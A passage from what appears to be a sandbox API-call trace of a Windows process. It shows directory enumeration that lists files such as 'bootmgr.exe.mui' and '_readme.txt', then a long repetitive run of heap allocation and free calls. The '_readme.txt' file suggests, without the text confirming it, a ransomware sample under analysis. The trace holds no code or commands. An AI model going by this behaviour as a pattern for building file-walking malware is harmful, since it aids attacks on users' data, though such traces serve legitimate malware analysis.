ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.362] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.362] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.362] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.362] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.362] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.362] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.362] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.362] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.363] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.364] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.370] RtlAllocateHeap 